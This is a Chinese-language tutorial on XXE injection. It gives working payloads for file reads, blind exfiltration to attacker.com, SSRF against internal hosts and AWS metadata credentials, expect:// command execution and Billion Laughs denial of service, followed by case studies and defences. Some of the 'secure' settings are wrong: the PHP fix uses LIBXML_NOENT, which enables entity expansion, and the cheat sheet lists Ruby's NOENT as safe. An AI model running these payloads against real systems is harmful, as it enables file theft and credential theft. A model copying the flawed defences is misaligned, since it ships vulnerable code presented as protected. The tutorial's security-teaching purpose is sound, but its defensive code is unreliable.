XXE外部实体注入:XML解析的隐患
XML 作为一种通用的数据交换格式,被广泛应用于 Web 服务、配置文件、文档格式(如 Office Open XML、SVG)等场景。然而,XML 解析器对外部实体的默认支持,却为攻击者打开了一扇危险的大门——XML External Entity(XXE)注入。
XXE 漏洞允许攻击者利用 XML 解析器处理恶意构造的 XML 文档,从而读取服务器上的任意文件、发起内网请求(SSRF)、甚至执行远程代码。OWASP Top 10 2017 将其列为 A4 漏洞,足见其危害之重。
一、XML基础与DTD实体
1.1 XML文档结构
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY writer "Writer: Donald Duck.">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
<writer>&writer;</writer>
</note>1.2 DTD(文档类型定义)
DTD 定义了 XML 文档的结构和合法元素。它可以在 XML 文档内部声明(内部 DTD),也可以引用外部文件(外部 DTD)。
内部 DTD 示例:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT root (#PCDATA)>
<!ENTITY test "Hello World">
]>
<root>&test;</root>外部 DTD 示例:
<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://example.com/dtd.dtd">
<root>content</root>1.3 实体类型
XML 中的实体分为以下几类:
| 实体类型 | 说明 | 示例 |
|---|---|---|
| 内部通用实体 | 在 DTD 中定义,引用文本 | <!ENTITY name "value"> |
| 外部通用实体 | 引用外部文件或 URL | <!ENTITY name SYSTEM "file:///etc/passwd"> |
| 参数实体 | 仅在 DTD 中使用,以 % 开头 | <!ENTITY % name SYSTEM "url"> |
| 预定义实体 | XML 内置的转义实体 | <, >, &, ", ' |
关键概念: 外部实体是 XXE 攻击的核心。当解析器遇到外部实体引用时,它会尝试获取并解析该外部资源的内容。
二、XXE漏洞原理
2.1 漏洞成因
XXE 漏洞的本质是:应用程序在解析用户提供的 XML 数据时,未禁用外部实体解析功能,导致攻击者可以构造包含恶意外部实体引用的 XML 文档,使解析器执行非预期的操作。
漏洞形成的三个条件:
- 应用程序接收并解析用户可控的 XML 输入
- XML 解析器配置允许处理外部实体(默认情况下许多解析器开启)
- 解析结果在响应中可见(或可通过其他方式推断)
2.2 漏洞示例代码
存在漏洞的 Java 代码:
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
public class XXEVulnerable {
public String parseXML(String xmlInput) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 危险:默认允许外部实体
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlInput)));
return doc.getDocumentElement().getTextContent();
}
}
存在漏洞的 PHP 代码:
<?php
$xml = file_get_contents('php://input');
$doc = simplexml_load_string($xml); // 默认允许外部实体
echo $doc->asXML();
?>存在漏洞的 Python 代码:
from lxml import etree
xml_data = request.body.read()
# 危险:默认解析外部实体
tree = etree.parse(StringIO(xml_data))
result = etree.tostring(tree)
2.3 攻击流程
攻击者构造恶意XML → 发送给目标应用 → XML解析器处理外部实体
→ 读取本地文件 / 访问内网资源 / 执行系统命令
→ 结果返回到攻击者(直接回显或带外通道)三、攻击类型与Payload
3.1 文件读取(有回显)
当解析结果在响应中可见时,可以直接读取文件内容:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>Windows 系统文件读取:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<foo>&xxe;</foo>读取 PHP 源码(利用 PHP 包装器):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<foo>&xxe;</foo>3.2 文件读取(无回显 / Blind XXE)
当解析结果不直接返回时,需要通过带外(Out-of-Band)通道提取数据。
使用参数实体 + DNS 外带:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%xxe;'>">
%eval;
]>
<foo>&exfil;</foo>更通用的 Blind XXE Payload:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>远程 evil.dtd 内容:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?%file;'>">
%all;3.3 SSRF(服务器端请求伪造)
XXE 可以作为 SSRF 的攻击向量,访问内网资源:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin">
]>
<foo>&xxe;</foo>扫描内网端口:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:22">
]>
<foo>&xxe;</foo>访问云元数据服务(AWS EC2):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>获取 AWS 临时凭证:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name">
]>
<foo>&xxe;</foo>3.4 远程代码执行(RCE)
在某些特定环境下,XXE 可以升级为 RCE:
PHP expect 包装器(需要安装 expect 扩展):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>Java jar:// 协议(通过上传恶意 jar 文件):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/evil.class">
]>
<foo>&xxe;</foo>3.5 拒绝服务攻击(Billion Laughs / XML Bomb)
Billion Laughs 攻击:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>这个 1KB 的 XML 文档展开后可达约 3GB,导致内存耗尽。
Quadratic Blowup 攻击:
<?xml version="1.0"?>
<!DOCTYPE blowup [
<!ENTITY x "AAAAAAAA...(50000个A)...">
]>
<blowup>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;...(100000次引用)...</blowup>通过大量引用一个长字符串实体,造成解析器 CPU 和内存资源耗尽。
四、实际案例分析
4.1 Facebook XXE 漏洞(2014年)
安全研究人员在 Facebook 的协作平台中发现了 XXE 漏洞。该平台允许用户通过上传 SVG 图片来设置个人资料图片。
攻击过程:
- 攻击者构造包含外部实体引用的恶意 SVG 文件
- 上传 SVG 作为头像
- 服务器解析 SVG 时触发 XXE
- 成功读取
/etc/passwd等敏感文件
恶意 SVG 示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="10" y="20">&xxe;</text>
</svg>Facebook 为此支付了 $30,000 的漏洞赏金。
4.2 Jenkins CVE-2016-6292
Jenkins 的 XML API 存在 XXE 漏洞,攻击者可以通过发送恶意 XML 到 /createItem 端点来读取服务器文件。
Payload:
<?xml version="1.0"?>
<!DOCTYPE project [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<project>
<description>&xxe;</description>
</project>4.3 WordPress 插件 XXE
多款 WordPress 插件在处理 XML 导入功能时存在 XXE 漏洞。攻击者上传包含外部实体引用的 XML 文件,即可读取服务器上的 wp-config.php,获取数据库凭证。
4.4 企业应用中的 XXE
某企业级 ERP 系统的 WebService 接口使用 SOAP 协议传输数据。由于未禁用外部实体解析,攻击者通过构造恶意 SOAP 请求,成功读取了服务器上的数据库配置文件,进而获取了生产环境数据库的访问权限。
五、防御措施与最佳实践
5.1 禁用外部实体(最根本的防御)
Java:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 禁用 DTD 完全
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 或者仅禁用外部实体
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);PHP:
$xml = file_get_contents('php://input');
$doc = simplexml_load_string($xml);
// libxml_disable_entity_loader 在 PHP 8.0+ 已废弃
// 使用以下方式:
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD);
// 更好的做法:使用 DOMDocument 并禁用外部实体
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET | LIBXML_NOENT);Python(lxml):
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False, # 禁用外部实体解析
no_network=True, # 禁止网络访问
load_dtd=False # 不加载 DTD
)
tree = etree.parse(StringIO(xml_data), parser)
Python(defusedxml):
from defusedxml import ElementTree as ET
# defusedxml 是安全的 XML 解析库,默认禁用外部实体
tree = ET.parse(StringIO(xml_data))
.NET / C#:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit; // 完全禁止 DTD
// 或者
settings.DtdProcessing = DtdProcessing.Ignore; // 忽略 DTD
settings.XmlResolver = null; // 禁用 XML 解析器
XmlReader reader = XmlReader.Create(inputStream, settings);
5.2 输入验证与过滤
- 仅接受预期的 XML 结构,拒绝包含
DOCTYPE声明的输入 - 使用 JSON 替代 XML 作为数据交换格式(如果业务允许)
- 对上传的文件进行格式验证,拒绝非预期的 XML/SVG 内容
5.3 使用 WAF 防护
配置 Web 应用防火墙规则,检测并拦截包含外部实体引用的 XML 请求:
# ModSecurity 规则示例
SecRule REQUEST_BODY "<!ENTITY\s+.*SYSTEM\s+" \
"id:1001,phase:2,deny,status:403,msg:'XXE Attack Detected'"5.4 最小权限原则
- 运行 XML 解析服务的进程应使用最低权限账户
- 限制解析器对文件系统的访问范围(chroot、容器化)
- 禁止解析器访问内网资源(网络隔离)
5.5 安全配置速查表
| 语言/平台 | 安全配置 |
|---|---|
| Java | setFeature("disallow-doctype-decl", true) |
| PHP | libxml_disable_entity_loader(true) (PHP < 8.0) |
| Python | 使用 defusedxml 库 |
| .NET | DtdProcessing.Prohibit |
| Ruby | Nokogiri::XML::ParseOptions::NOENT |
| Go | xml.Decoder.Strict = true + 自定义 Token 处理 |
六、总结
XXE 漏洞是 XML 解析器功能与安全性之间的经典权衡问题。外部实体本是为了增强 XML 的灵活性而设计,但在不受信任的数据场景下,它成为了危险的攻击向量。
核心要点回顾:
- XXE 漏洞利用 XML 解析器对外部实体的支持,实现文件读取、SSRF、RCE 等攻击
- 漏洞根源在于解析器配置不当,而非 XML 协议本身
- 防御的核心是禁用外部实体解析,而非依赖输入过滤
- 在不需要 DTD 的场景下,完全禁止 DTD 是最安全的做法
- 使用
defusedxml等安全库可以大幅降低风险
随着 JSON 等更轻量的数据格式普及,XML 的使用逐渐减少,但在企业级应用、SOAP WebService、Office 文档处理等领域,XXE 依然是不可忽视的安全威胁。开发者应当了解所使用的 XML 解析库的默认行为,并主动配置安全选项。
记住:默认配置往往是不安全的。安全的 XML 解析,需要显式的安全配置。